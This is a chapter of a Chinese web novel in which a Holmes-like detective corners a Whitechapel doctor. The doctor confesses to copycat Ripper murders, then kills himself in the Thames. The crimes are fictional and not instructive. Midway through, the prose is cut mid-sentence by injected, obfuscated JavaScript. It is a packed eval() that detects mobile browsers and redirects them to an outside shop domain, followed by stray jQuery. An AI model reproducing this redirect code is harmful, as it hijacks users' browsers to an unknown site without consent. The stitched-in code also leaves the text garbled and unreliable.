“我的朋友,你不会以为我只会推论吧?雷斯垂德警官可以申请搜查令,猜猜他们会不会在器皿底部发现□□和迷幻剂的残留物?”

    修罗可望着爱德华:“或者,现在把手上的创口贴撕下来,看看下面的伤口是不是顺绳下楼时留下的?”

    爱德华面色苍白,身体像是风中的柏树一般微微颤抖。

    他忽然扬起嘴角,发出精神病人般的笑声:

    “我低估你了,修罗可。”

    他颤颤巍巍地站直了身体。在他身后,伦敦的朝阳忽然升起。第一抹金色的霞光透过云层,打在众人的身上,黑色修长的影子落在地上。

    “伏法吧,给白教堂的群众一个交代。”修罗可走近他,试图捉住他的双手。

    忽然,一道银光自爱德华的袖口闪过。

    他在袖子内衬藏了一把手术刀,此时拔出来,刺向修罗可的手腕。修罗可躲闪不及,鲜血奔涌而出。

    雷斯垂德立刻拔枪,瞄准试图逃跑的爱德华,击中他的左肩。但爱德华并未被击倒,反而像屠宰场中的牲畜一般甩开步子,疯了似的向前跑去。

    修罗可本能地跟上,雷斯垂德紧随其后。两人都举起了枪,但并没有开火,默契地准备将这头困兽活捉,以倾听他的作案自白。

    三人就这样穿过了白教堂数条的小巷,滴滴鲜血落在地上,形成了一条长长的轨迹。

    白教堂的居民们已随着曙光醒来。有的人已经走出房门,瞠目结舌地看着他们敬爱的医生如疯牛般在街道里乱撞。有一位女士对他伸出手,似乎想要救助他——谢天谢地,当她看清爱德华脸上癫狂的表情时,及时放弃了这个主意。

    最终,当三人的体力都濒临极限时,修罗可和雷斯垂德将爱德华逼到了泰晤士河畔。爱德华攀爬上一座断桥,在破碎的桥面上大口喘息着。他没有路了,结局已经注定。

    “修罗可。”爱德华的目光扫过持枪的两人。白教堂的民众们逐血而来,黑压压地挤在巷子中,好奇又惊恐地看着他。“我让你失望了吗?”

    “有的。”修罗可答道。凛冽的晨风从他耳边刮过,带来阵阵寒意。“我本以为我们能成为朋友。至少你可以成为我的华生医生。”

    “那真是抱歉了,我无意伤害像你一样的绅士。我尝过被人深深伤害的滋味。”

    “你的导师?”

    “是的,柯克教授。我的父亲是个放荡不羁的酒鬼,而柯克是第一个给予我关爱的长辈。我曾经将他视为父亲。”

    爱德华全然不顾肩上的伤口,在桥面上精神质地快速踱步。滴滴血液洇在地上,如同洒落一地的玫瑰花瓣。

    “结果他就这么对我!我曾以为,只要能够医治身体上的病,就人类创造一个美好的世界。但此后,我才发觉,真正病入膏肓的是整座伦敦城,整个英国,甚至整个欧洲!”

    “之后的事你都知道了。我没了学位,开始酗酒,败光了家产,只能沦落到白教堂区生活,并在这里开了诊所。与繁华区的绅士淑女不同,贫民区的人很好伺候。只要给他们开一些药,短暂缓解一下病痛,他们就会对你感恩戴德。‘爱德华医生,真是太感谢你了。’‘小伙子,你可真是神医啊。’”

    “如果我没有经历那一切的话,我可能会为此欢欣鼓舞。但我已经看透了他们的嘴脸。那位夸赞我的老头子,在赌桌上亏没了大半家产。他只是想通过花言巧语,让我减一点医药费!还有那些风尘女子,她们染了脏病,知道我立过希波克拉底誓言,便以此道德绑架,强迫我对她们的身份和病情保密。她们在我面前露出白色的臂膀和身体,试图诱惑我。但我却像那些肮脏的男人一样,对此心潮澎湃。天哪,这地方真是让我难以忍受!”

    “我逃出诊所,站在街道上,便发现这里如同患者腐烂的疮口,到处都是脓液和细菌。更令我难以忍受的是,附近的居民们像牲畜产仔一样生下一堆孩子,放任他们在街道里到处乱跑,直到彻底被这个地方同化。”

    “一开始,我勉为其难地说服自己,这些孩子们至少有父母,他们可以健康的长大。但当那些不检点的女人大着肚子走到我面前的时候,我无法再自我欺骗了。难道要让这些孩子在没有父亲的情况下,到世间受苦吗?于是,我违背了希波克拉底誓言,为她们堕胎。你瞧,我又被她们毁了一次。”

    “在8月的晚上,偶然遇到了我大学时的同门。他在市中心开了诊所,在门口和一位贵妇告别。而我还穿着大学时的旧衣服,连一张像样的名片都拿不出来。我感到喉咙发梗,仿佛有一双魔鬼的手堵住了我的气管,使我的心脏疯了似的跳动。我跌跌撞撞地回到了自己肮脏的住处,试图终结自己的生命。”

    “但神救了我,也让我最终认清了自己的天命。”爱德华总结道。

    “和唯灵会有关吗?”修罗可问道:“我当时就觉得奇怪,明明是我先进门,而接待员却先向你问好。”

    “是的。我在神意指引前就加入了唯灵会。我也在此认识了安娜。她是个爱慕虚荣,但又心思单纯的女孩。她自此成为了我的长期客户。”

    “因为她信任你,所以更好下手?”修罗可问道。

    “有这部分原因。”爱德华答道:“我提前准备好了道具,算好了日期,并将她在夜里约到泰晤士河边。她当晚化了漂亮的妆容,穿上了漂亮的裙子,笑吟吟地对我跑来。真是个美丽的姑娘啊!但她这样看起来更像个风尘女子了。本着清除城市顽疾的使命,我勒住她的脖子。等她没有声息后,我便把缎带放到她口中,将她抛入水中。”

    “你有没有发现一件事。”修罗可打断他。

    “什么?”

    “安娜喜欢上你了。这就是她为什么选择放弃嫁入中产阶级的机会,而赶来赴约的原因。这个女孩一直将爱情和金钱所混同,这或许是她人生第一次抛开虚浮的金粉,选择爱上一个真实的人。我不敢想她用了多大的勇气,才敢于抛却人生中的固有选择。而,爱德华,你做了什么?”

    “我或许辜

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17972014|214683||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    负了她的心。”爱德华忽然哽住:“但那不是我的错?谁让她穿着打扮像个妓女?难道,她就不能正常的去谈恋爱,结婚,生下孩子?”

    “果然是爱大的高材生。难道她不自甘堕落,就能够拥有安逸平稳的生活吗?生在这个破败的地方,又身为女人,她们没有太多选择的机会!看看露易丝吧?她的下场是什么样?她有傲骨,不愿意和安娜混为一谈,但还是惨遭杀害。爱德华,别告诉我,你不知道这一点。”修罗可厉声说道,他头一次动了怒。

    “是的,我利用了她的心理。她目睹我将安娜推入水中。于是,我向她编了个理由,称安娜水性杨花,欺骗了我的感情。我被愤怒冲昏头脑,才犯下大错。我请求她帮我隐瞒。”

    “她相信了。露易丝的最大缺陷在于不切实际的傲慢。她误认为自己和安娜不一样。可在你眼中,她们毫无区别。”

    “是这样的。我和露易丝约好,为了避免他的情夫吃醋,我会爬到房子的屋顶上,和她传递信息。当天夜里,我带着一根藏了刀片的绳子爬上屋顶,发出信号,让她把头探出来......之后的内容,你们都知道了。”

    “你用绳子绕过烟筒,抓紧两端,顺着墙壁滑了下来。此举非常冒险,但为了收回绳索,你别无选择。 ”修罗可说道。

    “是的,现在想来,我应该把绳子带回家烧掉,而不是草率地扔入河内。不过也无所谓了。我知道警方肯定会注意到我,于是我报名去验尸。”

    “然后,你锁定了怡莱。”

    “是的,朋友。不过我杀他还有一个理由。他是个浪荡的男子。我不会因为他是男人就饶过他。。”

    “你用的是什么药物?□□?”

    “仙人掌毒碱。怡莱因为被警方怀疑而惊慌失措,我趁机取得了他的信任,骗他喝下了混了药物的白兰地。他觉察到味道不对,将大部分酒液都吐到了衣服上,但那点药物也足够他精神失常了。我叮嘱他在街道上散步,走得越远越好。但我没想到,他还会回到你面前。”

    “就这三起案子吗?”雷斯垂德问道:“开膛手,交代你之前的命案吧。我们或许能对你宽大处理。”

    “很抱歉,但安娜是死在我手上的第一人。”

    “所以你不是真正的开膛手?”雷斯垂德问道,转头瞄了修罗可一眼。

    “不是,我只是一个模仿犯。但我知道真正的开膛手是谁。我对这个人充满敬意。”

    爱德华再次举起手术刀,刀刃在日光下闪闪发光。

    修罗可扣动扳机,试图将手术刀击落。但一切都已晚了。一道鲜红的血流从爱德华的颈部喷涌而出。

    他向后倒去,在所有人的注视下,带着秘密跌入了泰晤士河。他在河水上挣扎了一下,随即被一段暗流扯入水底。浑浊的河面上已看不到他的身影,只能看到涌出的气泡和血雾。

    脱力感比安心感更快到来。修罗可头晕目眩地跌倒在桥面上。

    一阵欢呼声忽然自身后响起。